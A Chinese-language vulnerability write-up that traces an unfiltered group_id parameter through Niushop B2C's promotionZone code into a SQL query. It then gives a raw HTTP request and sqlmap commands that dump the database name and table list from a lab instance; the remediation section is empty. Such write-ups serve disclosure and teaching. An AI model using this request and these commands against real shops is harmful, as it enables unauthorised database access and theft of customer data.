某Shop SQL注入(二)
0x01 前言
Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求
0x02 代码分析
跟踪到/Application/(wap/shop)/Controller/Goods.php中的promotionZone方法
- 1337 Line: 判断是否是ajax请求
- 1338 Line: 获取get参数为page的值并赋给$page_index
- 1339 Line: 获取get参数为group_id的值并赋给$group_id
- 1343 Line: 判断$group_id是否不为空
- 1344 Line: 将$group_id拼接到SQL语句中并赋给$condition
- 1353 Line: 将$condition传入到GoodsService中的getGoodsList方法中
跟踪到/data/service/Goods.php中的getGoodsList方法:
- 112 Line: $condition自上而下无过滤到这里传入到模型NsGoodsViewModel中的getGoodsViewList
跟踪到/data/model/NsGoodsViewModel.php中的getGoodsViewList方法:
- 43 Line: 将$condition传入当前模型中的getGoodsViewQuery方法
跟踪到/data/model/NsGoodsViewModel.php中的getGoodsViewQuery方法:
- 95: Line: 这里又将$condition传入到基类中的viewPageQuery方法
跟踪到/data/model/BaseModel.php中的viewPageQuery方法:
- 到方法体中可以看到$condition被带入查询了,未见过滤,从而导致了SQL注入
0x03 漏洞探测
0x04 漏洞复现
GET /index.php?s=/wap/Goods/promotionZone&group_id=*&page=1 HTTP/1.1
Host: 172.16.209.129:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8085/index.php/wap/goods/promotionZone
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
- 将数据包保存为niushop.txt
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
0x05 漏洞修复
0 条评论
可输入 255 字